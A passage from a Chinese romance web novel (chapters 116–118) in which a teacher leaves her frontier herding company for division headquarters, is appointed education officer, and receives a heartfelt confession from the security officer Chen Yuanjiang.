陈远疆看着她,似乎想从她脸上看出点什么。但她只是很平静地收好了通知,然后继续弯腰,准备干活。 “要走了。”他忽然说了一句,语气又带着点感叹。 “嗯。”舒染头也没抬,“去学习学习,是好事。” “……是好事。”陈远疆附和道,停顿了一下,像是下了很大决心,才继续说,“师部平台大,机会多。你……好好把握。” 舒染撒种子的动作顿了一下,随即又恢复如常。“我知道。” 又是一阵沉默。 “那个……”陈远疆似乎有些踌躇,“调令的事……” “我烧了。”舒染直截了当。 陈远疆看向她,眼中闪过一丝震惊,随即是更深的情绪。烧了?她竟然…… “回上海没什么意思。”舒染终于抬起头,看着他,嘴角勾起一个淡淡的弧度,“我觉得在边疆,说不定更能折腾出点名堂。” 她的眼睛亮晶晶的。 陈远疆看着这样的她,一时竟忘了反应。 “你……”他张了张嘴,却发现不知道该说什么。所有的劝说,所有的“为你好”,在她的目标面前,都没什么用。 “陈特派员,”舒染看着他,语气认真了些,“谢谢你当初把调令带回来。” 谢谢你,没有用它来挽留我,让我自己选择。 这句话,舒染没有说出口,但她相信,他懂。 陈远疆确实懂了。他看着舒染,看着她眼中那份通透和了然,看着她的自信,忽然觉得胸口那块压了他很久的石头消失了。 他所有的纠结,在她这番坦荡甚至带着点野心的话语面前,都得到了解脱,也失去了意义。 他看着她终于露出了这些天来第一个不带任何阴霾的笑容。 “好。” 舒染也笑了,低下头,继续撒她的种子。 春天真的来了,阳光暖暖地照着。 陈远疆站在原地,看着舒染的侧影看了很久才转身离开。 舒染听着他远去的脚步声,没有抬头。 这个傻子,总算没那么傻了。 第116章 舒染把自己即将要去师部的消息告诉了王大姐和李秀兰。 王大姐正纳着鞋底, 闻言针在头皮上蹭了蹭,咧开嘴:“好事啊!舒老师,这是要高升了!我就说嘛, 是金子在哪都发光!咱们这破连队,留不住你。”她话里带着为她高兴的爽利, 也有一丝叹息。 李秀兰也笑,但笑容底下是藏不住的怅惘:“舒老师,你去了师部……还回来吗?”她如今在扫盲班和豆腐坊两头跑, 人精神了不少,说话也更有底气,但舒染几乎是她在边疆最亲近的姐妹,一想到她要离开, 心里就空落落的。 舒染把手里挑拣的菜种放下, 没有立刻回答。她看着窗外, 目光有些悠远。沉默了几秒, 她才转回头, 语气不像刚才那么轻快, 带着一种认真的斟酌:“学习班就一个月。结束后……组织上怎么安排,现在还说不准。” 她避开了直接的回答, 但也没有给出保证。 “师部那边,平台是大一些, 机会也多……” 王大姐是过来人,立刻听出了她话里的意思, 脸上的笑容淡了点, 但还是撑着劲儿:“明白,明白!学习嘛,就是奔着好前程去的。你能留在师部更好, 那地方,到底比咱们这土坷垃里强。” 舒染听出她语气里的那点失落,心里也跟着有点发涩。她伸手拍了拍李秀兰的手背,声音柔和下来,“就算……就算我人一时半会儿回不来,心也在这儿。启明小学,扫盲班,还有你们,我都放不下。再说了……” “我就是去学本事,看看路。兴许……兴许学了更好的方法,还能反过来帮到咱们连队呢?总得往前走走看。” 王大姐看着她,叹了口气,又像是松了口气:“你呀,心思重。不管在哪,好好的就行!需要啥,捎个信回来!” 李秀兰也用力点头,眼圈有点红:“舒老师,你肯定行的!我们等你消息。” 王大姐凑近些,压低声音,“我听说,陈特派员的伤好得差不多了,这两天也在收拾,好像也要回师部保卫处报到。” 舒染没接话,继续低头挑拣种子,只是动作慢了些。那天在地头,她把烧调令的事告诉陈远疆后,他那突然亮起来的眼神,和之后几乎掩饰不住的笑意,在她脑子里晃了好几天。 这人,有时候直愣得让人哭笑不得。 正说着,门外传来脚步声,听着有点刻意放重的意味。 “舒老师在吗?”是林雪舟的声音。 “在,林老师进来吧。”舒染应道。 林雪舟推开门进来,看见王大姐和李秀兰,点了点头,算是打过招呼。 “舒老师,师部学习班的通知说下周一报到。”他把一张盖着红戳的文件递给舒染,“孙处长特意打电话到连部,让你提前准备一下,可能学习结束后,会有新的工作安排。” 舒染接过,扫了一眼,内容跟陈远疆之前送来的一样。“谢谢林老师。” 林雪舟看着她,推了推眼镜,语气带着他特有的那种认真:“这是一个很好的机会。师部的平台更大,能接触到更系统的教育理论和资源。我希望你能把握住,这对你个人发展,以及对将来示范点的建设,都大有裨益。” 他这话说得挑不出错处。舒染点点头:“我会的。” 林雪舟似乎还想说什么,看了看旁边的王大姐和李秀兰,又咽了回去,只说了句“那你先忙,具体行程连里会安排”,便转身走了。 王大姐冲着门帘方向撇撇嘴:“这林老师,说话总跟做报告似的。” 李秀兰小声说:“他看着也挺替舒老师高兴的。” “谁知道呢。”王大姐哼了一声,“面上是好话,心里指不定琢磨啥。舒老师,你去了师部,可得留个心眼,别让人把功劳都占了。” 舒染笑了笑,没说话。林雪舟那点心思,她大概能猜到。他渴望做出成绩,证明自己,同时也带着点知识分子固有的清高和对她的土办法若有若无的轻视。 这次学习班,对她来说是机遇,对林雪舟而言,恐怕也是一种压力。她走了,示范点的工作重心自然会落在他身上,是成是败,都是他的考验。 几天后,连部通知下来,安排舒染搭乘后勤去师部拉物资的卡车。出发的前一天傍晚,舒染正在屋子里收拾简单的行李,门外响起了熟悉的脚步声。 敲门声响起。 “请进。”舒染没回头,继续叠着衣服。 陈远疆推门进来,在门口站了一下,才低声问:“收拾好了?” “嗯。”舒染应了一声。 陈远疆走进来,目光落在舒染脸上,又很快移开,看向她收拾好的箱子。 “明天,老张的车。”他的声音有点干。 “知道。”舒染把最后一件衣服塞进箱子。 两人一时无话。 “一个月……”陈远疆忽然开口,“很快就过去了。” “嗯。”舒染看着他别扭的样子,心里有点好笑,“学习而已,又不是不回来了。” “我知道。”陈远疆像是下了很大决心,转过头,目光沉沉地看向她,“师部比连队复杂。你凡事多想想,别急着出头。遇到难处……”他停顿了一下,似乎在斟酌词句,“……找孙处长,或者,找人给我捎个信。” 舒染点点头:“放心,我能应付。”她顿了顿,故意问,“给你捎信?往哪儿捎?保卫处?” 陈远疆被她问住,耳根有点泛红,闷声道:“嗯。” 看着他这副样子,舒染忽然想起老冰崖下,他昏迷时那句“舍不得”。现在的他,和那个时候判若两人。 “陈远疆。”她叫他的名字。 “嗯?” “我走了,学校里的事,你帮着林老师照看点。尤其是牧区那边,孩子们来回跑,安全最重要。” “好。”他答应得干脆。 “还有王大姐她们,要是有啥重活……” “我知道。” 舒染看着他,笑了笑:“没什么了,就是交代一下。” 陈远疆看着她脸上的笑容,喉结滚动了一下,想说什么,最终只是点了点头:“明天,我送你上车。” 第二天一大早,天色灰蒙蒙的,气温还很低。连部门口停着那辆熟悉的破旧解放卡车,车厢里已经堆了半车要运到师部的物资,大多是些农副产品。 王大姐、李秀兰、许君君,还有石头、栓柱、阿依曼等一群孩子都来了,七嘴八舌地说着送别的话。 “舒老师,早点回来啊!” “舒老师,给我们带师部的糖吃!” “舒老师,别忘了我们!” 舒染一一应着,把王大姐塞过来的两个还温热的煮鸡蛋揣进兜里,又摸了摸阿依曼的小辫子。 林雪舟也来了,站在稍远的地方,等孩子们说得差不多了,才走上前,伸出手:“舒老师,一路顺风。希望你在学习班取得好成绩,示范点这边,我会尽力。” 舒染跟他握了握手,“谢谢林老师,辛苦了。” 陈远疆站在卡车驾驶室旁边,跟司机老张低声说着什么。他今穿着军装,身板笔直,脸上没什么表情,但目光时不时扫过人群中心的舒染。 “行了行了,都别围着了,让舒老师上车吧,路远着呢。”王大姐招呼着。 舒染又看了一眼众人,深吸一口气,抓住车厢板,准备爬上去。 “坐驾驶室吧。”陈远疆的声音在旁边响起。他不知什么时候走了过来,伸手接过了她手里的樟木箱,“路不好,车厢里太颠。” 司机老张也从驾驶室探出头,笑眯眯地:“对对,舒老师,坐里面,暖和!” 舒染看了看陈远疆,他没看她,已经把她的箱子放进了驾驶室。她也没推辞,拉开车门坐了进去。驾驶室里弥漫着烟草和机油混合的味道,空间狭窄,但比起车厢舒服多了。 陈远疆替她关好门,隔着沾满灰尘的玻璃窗,看了她一眼,嘴唇动了动,没发出声音,但舒染看懂了,是“报平安”三个字。 他后退一步,卡车引擎发出轰鸣,然后开走了。 舒染透过车窗,看着送行的人们在视野里渐渐变小,王大姐还在挥手,孩子们追着卡车跑了几步,陈远疆站在原地,直到拐过连部的土坯房,再也看不见。 道路果然如预料般颠簸。卡车在坑洼不平的土路上摇晃着,卷起黄尘。 老张是个健谈的人,一边熟练地打着方向盘避让大坑,一边跟舒染闲聊。 “舒老师,这次去师部,是学习吧?好事啊!”老张扯着嗓门,压过引擎的噪音,“陈特派员前几天特意来找过我,说你这趟车,让我开稳当点。嘿嘿,他可很少为这种小事开口。” 舒染抓着侧窗拉环稳定身体,闻言笑了笑:“张师傅,麻烦你了。” “不麻烦不麻烦!”老张哈哈一笑,“陈特派员这人,看着冷,心里热乎。他是侦察兵出身,以前常在边境线上跑,那才叫遭罪呢。这路,算好的了!” “他以前常年在边境?”舒染顺着话头问。 “可不是嘛!上面本来想留他在机关,他自个儿要求下基层,就爱往最苦最险的地方钻。都说他傻,放着舒服日子不过。”老张摇摇头,语气里带着佩服,“不过啊,也正因为他在下面跑,好多情况才摸得清。上次那伙敌特,不就是他带人摁住的?” 舒染静静地听着,不时地点点头。 卡车颠簸了快一天,中间在一个兵站停下来休整了一会,简单吃了点干粮。等到天色完全黑下来,远处终于出现了师部所在的城镇轮廓。 卡车在师部招待所门口停下。舒染只觉得浑身骨头都快被颠散了架,腿脚发麻。 她拎着箱子下了车,跟老张道了谢,刚站稳,就听见一个熟悉的声音带着笑意响起:“舒染!这边!” 舒染抬头,看见杨振华从招待所里快步走了出来。他穿着整齐的干部装,脸上带着热情的笑容。 “杨干事?”舒染有些意外。 “孙处长估计你差不多这个点到,让我来看看。”杨振华很自然地伸手要接过她的箱子,“路上辛苦了吧?这路坐卡车,够受罪的。” 舒染手微微一顿,还是把箱子递给了他:“还好。谢谢杨干事。” “跟我还客气什么。”杨振华领着舒染往招待所里走,“房间都给你安排好了,先休息一下。学习班明天才开始报到,今天你可以先熟悉熟悉环境。” 招待所的条件比连队好很多。干净的床铺,独立的桌椅,甚至还有一个收音机。 杨振华帮她把箱子放好,说:“你先收拾,一会儿我带你去食堂吃饭。师部食堂的伙食,还是能打个牙祭的。” “杨干事,太麻烦你了。”舒染再次道谢。 “不麻烦。”杨振华看着她,眼神温和,“你能来师部学习,我是真高兴。这里天地更广,你能发挥的作用也更大。” 他语气略带感慨,“说实话,当初听说你选择留在畜牧连,我还觉得有点可惜。现在看来,是金子总会发光,在基层锻炼这一趟,对你反而是好事。” 他这话说得恳切,带着欣赏。舒染也笑了笑:“在连队学到了很多。” “是啊,实践出真知。”杨振华点头,“你的那些经验,孙处长非常看重。这次学习班,其实也是个机会,让大家看看我们基层教育工作者是怎么干实事的。” 又说了几句,杨振华便先离开了,约好晚饭时间再来接她。 舒染关上门,轻轻舒了口气。师部的一切,都透着一种更规范、也更复杂的气息。 杨振华的友善,孙处长的期望,还有那个尚未完全明确的新的工作安排,都牵引着她走向一个未知的方向。 她走到窗边,看着外面渐浓的夜色和零星亮起的灯火。这里没有畜牧连那种旷野的风,没有孩子们喧闹的声音,也没有那个沉默寡言却总在关键时刻出现的人。 她从随身带着的挎包里,拿出那个军绿色水壶,拧开盖子,喝了一口。水是凉的,带着一点铁锈味,却莫名让她安定下来。 她看着窗外。这里会是她的新起点吗? 第117章 晚饭时, 杨振华如约而至。 师部食堂比连队食堂宽敞明亮得多,菜色也丰富些,虽然依旧是大锅菜, 但至少能看到实实在在的肉。 杨振华很会调动气氛,一边给舒染夹菜, 一边介绍着师部各部门的情况,以及学习班的一些内幕消息。 “……这次学习班,名义上是培训, 实际上也是为下一步全师教育工作的推进选拔骨干。孙处长有意借此机会,将一些行之有效的基层经验系统化,推广开来。你的那份报告,他反复看了很多遍。” 舒染安静地听着, 偶尔问一两个关键问题。她注意到杨振华在提及“林副政委”时, 语气会有一丝微妙。 “林副政委对教育工作, 一向是很关心的。”杨振华斟酌着词句, “尤其是基层示范点的建设, 他认为这是打破教育壁垒、巩固边疆的重要一环。林雪舟同志在那边, 压力也不小。” 舒染心下明了。林雪舟是林副政委的侄子,他的表现, 某种程度上也关乎林副政委的颜面和政策主张。自己与林雪舟之间,恐怕不仅仅是个教学方法之争。 “林老师理论功底扎实, 有他的长处。”舒染语气平淡,“示范点建设需要集思广益。” 杨振华看了她一眼, 笑了笑, 没再继续这个话题,转而说起学习班的课程安排。 吃完饭,杨振华送舒染回招待所。 在门口, 他停下脚步,夜色中目光显得格外真诚:“舒染,师部情况比连队复杂,人事关系盘根错节。你刚来,凡事多看多听,有什么不清楚的,或者需要帮忙的,随时可以找我。” “谢谢杨干事,我会的。”舒染点头。 回到房间,舒染没有立刻休息。她拿出笔记本,借着灯光,开始梳理今天得到的信息,以及接下来可能面临的局面。 她很清楚,这次学习班,既是机遇,也是考场。她不仅要学好,更要借此机会抓住能在师部立足的资本。 上级有意调她来师部,恐怕不只是孙处长赏识那么简单。林副政委是想用她的实绩来印证某种政策方向?还是想将她和林雪舟放在一起,互相制衡,或者……择优而用? 无论哪种,她舒染都不会甘心只做一枚被动的棋子。 她要借着这股东风,在师部把她的事业做起来。这里确实有她想要的更广阔的天地,更多的资源,以及远离连队那些琐碎纷争的清净。 在这里,她能折腾出的名堂,显然更大。 她收起笔记本,等熄了灯。黑暗中,她忽然想到陈远疆,他现在在做什么?是否又投入了那些危险又机密的任务中? 第二天,学习班正式开班。地点在师部礼堂旁边的平房教室里。来自全师各团、连队的教育骨干三十多人参加了培训。 舒染的出现,引起了一阵小小的骚动。她太年轻,又是女性,更重要的是,她来自最偏远的畜牧连,却已是师部挂名的典型。 授课的老师有省级教育干事,也请了几个国内的专家。课程内容从教育政策解读、教材编写规范,到心理学基础、教学方法探讨,确实比在连队闭门造车要系统得多。 舒染听得认真,记录详实。她发现,很多理论的东西,她其实在实践中已经摸索着应用了,只是缺乏系统的归纳和提升。 课间休息时,有人主动过来和她攀谈,好奇地打听畜牧连和启明小学的情况,言语间有佩服,也有质疑。 舒染回答得不卑不亢,既实事求是地说明困难,也自信地展示取得的成绩,言语巧妙,往往能引得提问者深思。 杨振华偶尔会过来看看,每次都会和舒染聊上几句,态度亲切自然。他的青睐,无形中也提升了舒染在学员中的地位。 这天下午,课程结束后,舒染被孙处长叫到了办公室。 孙处长比上次见面时更显和气,招呼舒染坐下,还给她倒了杯水。 “小舒啊,学习感觉怎么样?还跟得上吗?” “谢谢处长关心,感觉很好,学到了很多新东西。”舒染恭敬地回答。 “那就好。”孙处长点点头,翻看着手里的一份材料,正是舒染之前提交总结报告,“你的这份报告,我看了很多遍。里面提到的很多方法确实有效。” 他抬眼看着舒染,“我想让你在学习期间,牵头成立一个小组,专门负责这件事,把畜牧连的经验,尤其是扫盲和低龄儿童教学这一块,整理出一套更系统、更具操作性的方案来。你看怎么样?” 舒染心中一动。让她牵头,意味着肯定了她的核心作用,也给了她一个在师部层面展示组织、总结能力的绝佳机会。 她没有任何犹豫,立刻站起身,语气坚定:“感谢组织的信任!我一定尽全力完成这个任务,不负处长期望!” “好,要的就是你这个劲头!”孙处长满意地笑了,“人员由你在学习班里挑选,需要什么支持,直接跟科里提。我希望在学习班结束的时候,能看到一个初步的成果。” “是!” 从孙处长办公室出来,舒染知道这步棋走对了。 她没有浪费时间,回到学习班,立刻开始物色小组成员。她挑选了几个看起来踏实肯干、有一定基层经验、并且对她方法表示过认同的学员。她很清楚,这个小组需要的是能干活、能理解她思路的人,而不是空谈理论或者背景复杂的关系户。 她的雷厉风行和明确目标,很快赢得了这批人的信服。小组当晚就开了第一次会,舒染明确了分工和进度,讨论氛围热烈。 忙碌到晚上九点多,舒染才回到招待所。她有些疲惫,但精神却很亢奋。推开房门,却意外地发现门缝底下塞着一张折叠的信纸。 她捡起来,打开。信纸上的字迹刚劲有力,是她熟悉的笔迹,只有寥寥数语:安否?师部遇难事,可寻孙,或告于我。一切均好,勿念。陈。 舒染捏着信纸,怔了片刻。 保卫处的人,果然神出鬼没。 “一切均好,勿念。”她低声重复了一遍最后几个字,指尖在“勿念”二字上轻轻摩挲了一下。 她把信纸折好收进了柜子里,然后重新摊开了笔记本和小组的工作计划。 感情很重要,但眼下,抓住事业上升的契机更重要。她得让那个写信的人看看,他惦记的这个人,在师部这片深水里,不仅能立足,还能游得比他想象的更好。 * 牵头经验总结小组的工作,并不像表面上看起来那么风光。舒染很快发现,小组内部来自不同单位、有着不同背景的组员,心思各异。 有个叫吴建国的男□□,来自条件相对较好的团部直属学校,对舒染那套土办法有些轻视,更倾向于将一切规范化、标准化,几次讨论中都对舒染提出质疑。 “舒组长,我认为我们整理经验,最终目的是要形成一套全师通用的、标准的教学流程和教材范本。像畜牧连那样过分强调本地化、生活化,会不会导致教学水平参差不齐,影响整体的教育质量?” 舒染还没开口,小组里另一位来自更偏远农业连队的女教员赵红英就忍不住反驳:“吴老师,你说得轻巧!我们那儿连粉笔都经常断货,孩子上学要走十几里地,回家还要喂猪砍柴,你那一套标准的流程范本,在我们那儿根本行不通!舒组长说的结合生活实际教学,娃娃们才能学得进去,家长才愿意送他们来!” “就是,”另一个黝黑矮壮的男学员王铁柱也附和,“我们那儿的娃,你跟他讲‘江南可采莲’,他以为莲是骆驼刺开的花呢!就得像舒组长说的,先教他们认自家的庄稼、认工分票、认爹娘的名字!” 舒染安静地听着双方的争论,等声音稍歇,她才开口:“吴老师的顾虑有道理,教育的规范性和标准性确实重要,这是我们努力的方向。” 她先肯定了吴建国,让对方脸色稍霁,然后话锋一转,“但是,赵老师和王老师说的更是我们无法回避的现实。我们整理经验,不是为了放在文件柜里好看的,是为了能在全师各个角落,尤其是最艰苦、最基层的地方,真正落地生根,开花结果。” 她目光扫过全场,“我们现在要做的,不是用一套僵化的标准去削足适履,而是提炼出那些在不同环境下都能行得通的方法。无论是在团部学校,还是在畜牧连、农业连,都应该遵循。至于具体如何操作,可以根据实际情况灵活变通。” 她拿起粉笔,在黑板上写下“原则”与“变通”两个词。 “我们要提供的,是一个工具箱。吴老师担心的教学质量问题,恰恰需要通过我们总结出的行之有效的方法,而不是用一刀切地灌输。” 吴建国张了张嘴,一时找不到话来反驳。赵红英和王铁柱等人则听得连连点头。 舒染趁热打铁,重新调整了分工。 吴建国虽然还有些别扭,但面对舒染合理的安排和小组大多数人的倾向,也只能接受。几次磨合下来,他不得不承认,舒染的思路确实管用。那份在基层历练出的协调能力和对人心动向的敏锐把握,更是他这种一直在相对规范环境里的人所欠缺的。 小组的工作由此顺利推进。舒染白天参加学习班课程,晚上带领小组讨论、整理材料,常常忙到深夜。 她展现出的专业能力、领导才干和那股拼劲,不仅折服了小组成员,也让暗中观察的孙处长更加满意。 杨振华来得更勤了些,有时是代表宣传科来了解进度,有时是纯粹以朋友身份过来关心。 他总能带来一些师部的最新动向,或者顺手帮舒染解决一些物资上的小麻烦,体贴又不逾矩。 “舒染,你最近可是名声在外了。”一次课后,杨振华和她并肩走在回招待所的路上,半开玩笑地说,“现在师部机关里,谁不知道教育科来了个又能干又漂亮的舒组长?连政治部那边都有人打听你。” 舒染笑了笑,语气带着点自嘲:“杨干事就别取笑我了。我这就是赶鸭子上架,尽力把事情做好,不给孙处长和咱们教育科丢脸就行。” “你太谦虚了。”杨振华看着她的侧脸,眼神柔和,“孙处长对你可是赞不绝口。等学习班结束,你也许就正式留在师部喽。” 舒染心中微动,面上却不动声色:“一切听从组织安排。我现在就想把手头的工作做好。” 她心里清楚,杨振华的话并非空穴来风。孙处长让她牵头小组,本身就是一种培养和考验。只要她交出的成果足够漂亮,留在师部教育科是水到渠成的事情。这正合她意。 只是,偶尔在深夜独处时,她会想起畜牧连的夜空,想起孩子们朗朗的读书声,想起王大姐的关怀,想起李秀兰欲言又止的神情,想起……那个塞在她门缝下的的信纸。 她甩甩头,将这点思绪抛开。路要一步一步走,现在不是分心的时候。 第118章 这天, 舒染被叫去参加一个由林副政委主持的关于全师教育工作的座谈会。 参会者除了师部相关领导,还有各团主管教育的干部和少数学习班学员代表,舒染因其在小组中的突出表现, 也在受邀之列。 会议室里气氛严肃。林副政委坐在主位,话不多, 但每句都切中要害。他听取了几个团的汇报后,将目光投向了学习班这边。 “听说,你们这次学习班, 搞了个小组,在总结基层经验?谁负责?” 孙处长连忙示意舒染:“林副政委,是这位舒染同志负责。她原来在畜牧连搞扫盲和基础教育,很有办法, 这次总结工作也做得非常扎实。” 所有人的目光聚焦到舒染身上。 舒染站起身, 不卑不亢地说:“报告林副政委, 学习班基层经验总结小组临时负责人舒染, 正在按照孙处长的指示, 梳理提炼适用于全师不同环境的扫盲和基础教育核心方法与原则。” 林副政委打量了她几眼, 目光在她脸上停留片刻,似乎想从她平静的外表下看出些什么。 “哦?核心方法与原则?说说看。” 舒染早有准备, 言简意赅地将小组讨论形成的几条核心原则阐述了一遍,并结合了畜牧连、赵红英和王铁柱所在连队的实际案例, 语言精炼,逻辑清晰, 既有高度又不空洞。 林副政委听完, 脸上没什么表情,只是点了点头,又问:“听说, 你和林雪舟同志在畜牧连的工作方法,有些不同?” 这个问题颇为敏感,会议室里安静下来。众人都知道林雪舟和林副政委的关系,也隐约听说过启明小学的“土洋之争”。 舒染心跳漏了一拍,但很快镇定下来。她不能贬低林雪舟,也不能否定自己。 “报告林副政委,林雪舟同志理论功底深厚,工作认真负责,我们只是在具体教学方法上有一些探讨。我认为,理论指导和实践探索是相辅相成的。林同志带来的系统知识,对开阔孩子们的眼界、提升教学规范性很有帮助。而我们在实践中摸索出的一些方法,或许能为理论提供更丰富的注脚和检验。我们的目标是一致的,就是尽最大努力把孩子们教好。” 她这番话,既肯定了林雪舟,也捍卫了自己的价值,将分歧定义为目标一致下的探讨和相辅相成,滴水不漏。 林副政委看了她一眼,半晌才缓缓开口:“目标一致,方法可以探讨。实践是检验真理的唯一标准。你们能互相学习,取长补短,很好。” 他没有再追问,转而询问起另一个团的工作情况。 舒染暗暗松了口气,坐了下来,手心微微出汗。她知道,刚才那一关,算是过去了。林副政委的态度,似乎更倾向于一种平衡和观望,只要她和林雪舟能把示范点搞好,方法之争他并不想过多介入,甚至乐见其成?这对她来说,是个有利的信号。 座谈会结束后,舒染随着人流走出会议室。杨振华等在门口,对她投来一个赞赏的眼神,低声道:“应对得很好。” 舒染笑了笑,没说话。这种高层间的微妙博弈,让她感到一丝疲惫。 她回到招待所,发现门口放了点东西——一小包用油纸包着的杏干,旁边还有一个崭新的玻璃墨水瓶。 没有纸条。 但舒染知道是谁放的。杏干是边疆的特色,墨水瓶则是她眼下最需要的东西之一,因为小组整理材料耗费墨水极快。 把东西抱起身,舒染开门进去。她拿起一颗杏干放入口中,酸甜的滋味在舌尖蔓延开。 她走到窗边,看着师部大院,心里那些滞涩似乎被杏干的味道驱散了些。 她不能松懈,师部这片深水,她才刚刚试出点名堂,离真正游刃有余还差得远。 她转身回到书桌前,摊开了稿纸。 经验总结小组的工作接近尾声,一份凝结了众人心血报告终于成型。舒染作为主要执笔人和统稿人,在其中倾注了大量精力,不仅系统梳理了方法,还加入了大量生动案例和数据对比,使得报告内容翔实,说服力强。 报告呈送给孙处长后,很快得到了高度评价。孙处长特意把舒染叫到办公室,脸上是掩饰不住的喜悦。 “小舒啊,干得漂亮!这份报告质量很高,比我预想的还要好!我已经让人加紧打印,准备下发各团讨论学习,还要报送兵团有关部门。” 孙处长拍着那份报告,语气兴奋,“你这是为我们师,乃至整个兵团的基层教育工作,立了一大功啊!” “处长过奖了,这是小组全体同志共同努力的结果。”舒染保持着谦逊。 “你的功劳最大,这一点谁都看得见。”孙处长摆摆手,话锋一转,语气变得郑重起来,“学习班马上就要结束了。关于你接下来的工作安排,组织上已经有了初步考虑。” 舒染知道关键时刻到了。 孙处长看着她,缓缓说道:“组织上决定,正式调你到师部教育科工作,担任干事,主要负责全师扫盲工作的推广、指导和基层经验的总结提炼。同时,继续兼任畜牧连启明小学示范点的联络指导员,定期下去检查指导工作。你有什么想法?” 虽然早有预料,但正式听到这个任命,舒染内心还是涌起一阵激动。 师部教育科干事,这意味着她正式进入了师部机关,平台、资源、发展空间都与在连队时不可同日而语。而且兼任畜牧连的联络指导员,也保证了她与根基的联系不断。 这正是她目前所能争取到的最佳位置。 她立刻站起身,“感谢组织的信任和培养!我坚决服从组织安排,一定在新的岗位上继续努力,为全师的教育工作贡献全部力量!” “好!好!”孙处长连连点头,“我就知道你不会辜负组织的期望。好好干!教育科需要你这样有朝气、有想法、能干实事的年轻同志!” 从孙处长办公室出来,阳光透过走廊的窗户照进来,明亮又温暖。 她成功了。凭借自己的能力和努力,她在这片陌生的土地上为自己闯出了一条路。 消息很快传开。学习班的同学们纷纷向她道贺,眼神里充满了羡慕和敬佩。杨振华更是第一时间找到她,笑容满面。 “舒染,恭喜!我就知道,你留在师部是迟早的事。这下好了,我们以后就是同事了,工作上也能有更多交流合作。” “谢谢杨干事,以后还要向你多学习。”舒染笑着回应。 成为同事,意味着和杨振华的接触会更多,他的那份好感,也需要她更巧妙地应对和维护。这对她来说,既是人际资源,也需要把握分寸。 她也没有忘记给畜牧连写信。在给王大姐、李秀兰和许君君的信中,她详细说明了自己被留在师部工作的决定,语气诚恳,解释了这是为了更好地推广启明小学的经验,为连队争取更多资源,并承诺会经常回去看望大家和孩子们。她希望得到她们的理解和支持。 至于陈远疆……她犹豫了一下,没有单独写信。那个沉默寡言的男人,大概不会喜欢这种形式主义的告知。而且,她潜意识里觉得,他或许早就通过自己的渠道知道了。 正式搬到教育科分配的单人宿舍那天,舒染简单收拾了一下。 条件比招待所更好一些。她站在房间中央,环顾四周,一种崭新且充满挑战的生活即将开始。 她推开窗户,看着师部大院熙熙攘攘的人群。这里没有连队那种艰苦,却有着更复杂的规则和更激烈的竞争。 但她舒染,从不畏惧挑战。 夜色渐深,她正准备梳理工作思路,敲门声响起。 是宣传科的干事小刘,他抱着几份需要教育科会签的文件过来。 “舒染同志,这几份宣传稿,孙处长说请你先看看,把关一下涉及教育工作的内容。” “好的,放桌上吧。”舒染接过文件。 小刘放下文件,却没立刻走,脸上带着点青年人藏不住事的兴奋,压低声音说:“舒染同志,还有个事儿……杨干事,就是杨振华干事,他托我私下问问,你这两天有没有空?他想请你去看场电影,师部礼堂明天放新片子。” 舒染微微一怔。她正斟酌着如何委婉回绝,眼角的余光却瞥见门口光线一暗。 陈远疆不知何时站在那里,身形挺拔,脸色在廊灯阴影里看不太清,但周身的气压似乎瞬间低了下去。他手里抱着一个油纸兜,里面装着几个糖包和一个铝制饭盒。 小刘一回头看见他,吓了一跳,连忙立正:“陈、陈特派员!” 陈远疆没应声,目光先落在舒染脸上,随即看向小刘,最后看着桌上那几份文上,眼神有些冷。 “嗯。” 小刘被他看得发毛,赶紧对舒染说:“那……舒染同志,文件放这儿了,杨干事那边……”他话没说完,在陈远疆的注视下,硬生生把后半截咽了回去,几乎是贴着墙边溜走了。 房间里只剩下两人。 陈远疆迈步进来,反手轻轻带上门。他将网兜放在桌边,动作平稳,但舒染察觉到他的脸色有些不对劲。 “路过食堂,有新做的肉菜。”他指了指饭盒,声音听不出情绪,又拿起那几个汤包,“红糖馅的,想起你似乎偏好甜食。” 舒染心里一软,道:“谢谢,你有心了。” 陈远疆却没再看她,他的视线落在小刘留下的那份文件上,又仿佛看向了别处。 他沉默地站了一会儿,房间里的气愤有些凝滞。 随后,他低笑了一声,带着点自嘲的意味。 “看来,我来得正是时候。” 舒染心头一跳,隐约明白了什么。 他的目光重新落在她脸上,那里面翻涌着复杂的情绪。 “舒染,”他叫她的名字,“师部的情况,比你想的更复杂。有些目光,有些心思,未必一眼就能看清。” 他往前走了一步,像是一种急于确认什么的急切。 “杨振华他的背景……”他顿住,似乎在权衡措辞,最终只是沉声道,“他接近你,未必……” 舒染看着他眼底的紧张,打断他:“所以,陈特派员是来给我做背景调查,还是来发布预警的?” 陈远疆被她问得一噎,喉结滚动了一下。他看着她清澈坦荡的眼睛,里面没有半分对杨振华邀约的欣喜或期待,只有了然和一丝……调侃? 他胸腔里那股无名火和慌乱被这眼神安抚了些许,但随之涌上的,是更强烈的冲动。 他深吸一口气,像是下定了某种决心。 “都不是。我是来告诉你,我后悔了。” 舒染一怔。 “我后悔当初觉得你留在下面更安全,后悔没有更早……”他停顿了一下,仿佛每个字都需要耗费极大的力气,“更早地,站到你身边来。” “舒染,”他又唤她,声音带着一丝沙哑,“我刚刚站在外面,听到里面的声音……我忽然发现,我无法忍受。” “无法忍受什么?”舒染仰头看他,能清晰闻到他身上淡淡的皂角气息。 “无法忍受,”他重复道,目光细摹着她的眉眼,像是要用目光将她锁住,“想象你坐在别人身边微笑的样子。哪怕只是想象,这里——”他用手指点了点自己的心口,“就像被什么东西拧了一下。” 舒染的心跳漏了一拍,看着他深邃眼眸里流露出的温柔。 “你大概不知道,”他声音压得像情人间的耳语,“老冰崖那一夜,你靠过来的时候,我一半身子冻得麻木,另一半……却烫得像要烧起来。” “你就像……就像不小心飘进我这片冻土里的火星。我以为你会熄灭,你却偏偏在我心里烧了起来。” 舒染感觉自己的脸颊有些发烫。 “舒染,”他又靠近了半步,两人衣袂几乎相触,他低头看她,眼神中带着近乎虔诚的恳切,“我这个人,不善言辞,能给的不多。我们的前途都是未知,我的工作性质能陪在你身边的时间也少。以前总觉得,这样不行,不能耽误你。按道理,我该离你远点” 他的指尖动了动,似乎想抬起,最终只是克制后握成了拳,垂在身侧。 “可是,我做不到。这团火是你点着的,你得负责。” “我不敢奢求太多,只求你允许我……我……” 他的话在这里卡住了,仿佛有一个至关重要的词,被他的理智和忐忑紧紧捂住,难以启齿。 他看着她,眼神里有挣扎,有渴望,还有一丝怕被拒绝的狼狈。他将自己所有的顾虑和不利条件摊开,然后把他仅有的,也是全部的自己捧到了她面前,这也许是他在感情面前最彻底的缴械。 